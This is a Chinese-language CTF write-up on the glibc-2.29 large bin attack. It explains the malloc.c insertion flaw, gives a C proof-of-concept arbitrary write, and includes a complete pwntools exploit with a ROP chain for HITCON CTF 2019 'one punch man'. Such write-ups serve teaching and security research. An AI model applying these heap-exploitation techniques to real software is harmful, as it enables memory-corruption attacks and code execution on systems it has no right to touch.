glibc-2.29 large bin attack 原理
TOC
1. unsorted bin attack 2. large bin attack 3. 样例代码 4. 例题 - HITCON CTF 2019 PWN - one punch man
该方法并非笔者发现,而是阅读 balsn 的 writeup 时分析而得到的,这里介绍一下这种攻击方法。
unsorted bin attack 在介绍新的攻击技术之前,先来缅怀一下 unsorted bin attack , 由于 glibc-2.29 新上的保护措施,使得 unsorted bin attack 基本已经成为过去式。
unsorted bin attack
的原理是利用 unsorted bin 在解链时,对 fd 指针的操作,直接的作用就是可以任意地址写入一个 main_arena 地址值,非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了,但是 large bin attack 或许可以成为它的代替品。
large bin attack glibc-2.29 的 large bin attack 和先前的并不完全一样,但是原理类似。
其主要发生在 large bin 的 nextsize 成环时,没有对其进行检查,所以只要存在 UAF 漏洞,就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。
漏洞主要发生在下列代码(来自 glibc-2.29/malloc/malloc.c:3841
):
victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long ) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim;
large bin 是以 victim_index 为单位进行 nextsize 之间的成环操作,每个 victim_index 的长度是 0x40,上面的代码是 unsorted bin 进行归位 操作时,将 本属于该环的 victim 插入到该环中。但是这里却没有 unsorted bin
那样对指针进行检查。
由于 large bin 是双向链表,插入操作并不会对整个环进行检查,这里我们只需要劫持 其 bk_nextsize 指针,那么在插入的时候,程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作,这样就会使得 该要插入的 chunk 将会留下它的地址到我们 设置的任意地址。
其核心代码是victim->bk_nextsize = fwd->fd->bk_nextsize; // one
或者victim->bk_nextsize->fd_nextsize = victim; // two
,就是在这里完成了写操作,具体执行哪段代码还要取决与 两个chunk 的size 比较。
这里提醒一点,两个chunk 的size不能相同,否则会执行下面程序流而导致不能实现我们的目的。
if ((unsigned long ) size == (unsigned long ) chunksize_nomask (fwd)) fwd = fwd->fd;
其次是 large bin 的 fd_nextsize 需要设置为0,否则程序流会执行到下面的代码进行unlink 操作,那么就无法通过 unlink 对 large bin 的 bk_nextsize 和 fd_nextsize 检查。
来自 glibc-2.29/malloc/malloc.c:4049
size = chunksize (victim); assert ((unsigned long ) (size) >= (unsigned long ) (nb));remainder_size = size - nb; unlink_chunk (av, victim);
样例代码 #include <stdio.h> #include <stdlib.h> size_t buf[0x10 ];int main () { size_t *ptr, *ptr2, *ptr3; setbuf (stdout, NULL ); ptr = malloc (0x438 ); malloc (0x18 ); ptr2 = malloc (0x448 ); malloc (0x18 ); free (ptr); malloc (0x600 ); free (ptr2); ptr[2 ] = 0 ; ptr[3 ] = (size_t )&buf[0 ]; printf ("buf[4]: 0x%lx\n" , buf[4 ]); ptr3 = malloc (0x68 ); printf ("buf[4]: 0x%lx\n" , buf[4 ]); return 0 ; }
buf[4]
就相当于 fake_chunk->fd_nextsize 指针,指向该节点的上一个节点。
执行结果如下所示:
buf[4]: 0x0 buf[4]: 0x560075a246b0
例题 - HITCON CTF 2019 PWN - one punch man 文件链接:one_punch_man.zip 。
该程序主要的漏洞就是在delete
时没有清理指针,导致UAF。
void delete () { unsigned int v0; write_str ("idx: " ); v0 = get_int (); if ( v0 > 2 ) error ((__int64)"invalid" ); free ((void *)heros[v0].calloc_ptr); }
程序预置了后门函数,但是在tcache上有限制,必须要我们劫持tcache_perthread_struct
才行,这里有两种思路,我自己的做法是劫持tcache_perthread_struct->entries
,这里由于和本文章关系不大,这里我简要说下核心思路:利用tcache_perthread_struct->counts
伪造 size,然后利用 unlink 使得chunk overlap,然后控制其tcache_perthread_struct->entries
。
第二种做法就是 balsn 战队的做法,很优秀的方法,核心思路就是利用 large bin attack
修改 tcache_perthread_struct->counts
来使用预置后门,然后用 add
当中的缓冲区进行 ROP。
下面是 balsn 的脚本。
from pwn import *import sysimport timeimport randomhost = '52.198.120.1' port = 48763 r = process('./one_punch' ) binary = "./one_punch" context.binary = binary elf = ELF(binary) try : libc = ELF("./libc-2.29.so" ) log.success("libc load success" ) system_off = libc.symbols.system log.success("system_off = " +hex (system_off)) except : log.failure("libc not found !" ) def name (index, name ): r.recvuntil("> " ) r.sendline("1" ) r.recvuntil(": " ) r.sendline(str (index)) r.recvuntil(": " ) r.send(name) pass def rename (index,name ): r.recvuntil("> " ) r.sendline("2" ) r.recvuntil(": " ) r.sendline(str (index)) r.recvuntil(": " ) r.send(name) pass def d (index ): r.recvuntil("> " ) r.sendline("4" ) r.recvuntil(": " ) r.sendline(str (index)) pass def show (index ): r.recvuntil("> " ) r.sendline("3" ) r.recvuntil(": " ) r.sendline(str (index)) def magic (data ): r.recvuntil("> " ) r.sendline(str (0xc388 )) time.sleep(0.1 ) r.send(data) if __name__ == '__main__' : name(0 ,"A" *0x210 ) d(0 ) name(1 ,"A" *0x210 ) d(1 ) show(1 ) r.recvuntil(" name: " ) heap = u64(r.recv(6 ).ljust(8 ,"\x00" )) - 0x260 print ("heap = {}" .format (hex (heap))) for i in xrange(5 ): name(2 ,"A" *0x210 ) d(2 ) name(0 ,"A" *0x210 ) name(1 ,"A" *0x210 ) d(0 ) show(0 ) r.recvuntil(" name: " ) libc = u64(r.recv(6 ).ljust(8 ,"\x00" )) - 0x1e4ca0 print ("libc = {}" .format (hex (libc))) d(1 ) rename(2 ,p64(libc + 0x1e4c30 )) name(0 ,"D" *0x90 ) d(0 ) for i in xrange(7 ): name(0 ,"D" *0x80 ) d(0 ) for i in xrange(7 ): name(0 ,"D" *0x200 ) d(0 ) name(0 ,"D" *0x200 ) name(1 ,"A" *0x210 ) name(2 ,p64(0x21 )*(0x90 /8 )) rename(2 ,p64(0x21 )*(0x90 /8 )) d(2 ) name(2 ,p64(0x21 )*(0x90 /8 )) rename(2 ,p64(0x21 )*(0x90 /8 )) d(2 ) d(0 ) d(1 ) name(0 ,"A" *0x80 ) name(1 ,"A" *0x80 ) d(0 ) d(1 ) name(0 ,"A" *0x88 + p64(0x421 ) + "D" *0x180 ) name(2 ,"A" *0x200 ) d(1 ) d(2 ) name(2 ,"A" *0x200 ) rename(0 ,"A" *0x88 + p64(0x421 ) + p64(libc + 0x1e5090 )*2 + p64(0 ) + p64(heap+0x10 ) ) d(0 ) d(2 ) // pause() name(0 ,"/home/ctf/flag\x00\x00" + "A" *0x1f0 ) magic("A" ) add_rsp48 = libc + 0x000000000008cfd6 pop_rdi = libc + 0x0000000000026542 pop_rsi = libc + 0x0000000000026f9e pop_rdx = libc + 0x000000000012bda6 pop_rax = libc + 0x0000000000047cf8 syscall = libc + 0xcf6c5 magic( p64(add_rsp48)) name(0 ,p64(pop_rdi) + p64(heap + 0x24d0 ) + p64(pop_rsi) + p64(0 ) + p64(pop_rax) + p64(2 ) + p64(syscall) + p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100 ) + p64(pop_rax) + p64(0 ) + p64(syscall) + p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100 ) + p64(pop_rax) + p64(1 ) + p64(syscall) ) r.interactive()
在上面的 // pause()
处暂停,查看其bin
情况。
pwndbg> largebins largebins 0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104) ◂— 0x56224269a4c0 pwndbg> x/6gx 0x56224269a4c0 0x56224269a4c0: 0x4141414141414141 0x0000000000000421 0x56224269a4d0: 0x00007f455f1dd090 0x00007f455f1dd090 0x56224269a4e0: 0x0000000000000000 0x0000562242698010 pwndbg>
这里构造好了 large bin attack,当进行 unsorted bin 归位时,便会修改tcache_perthread_struct->counts
。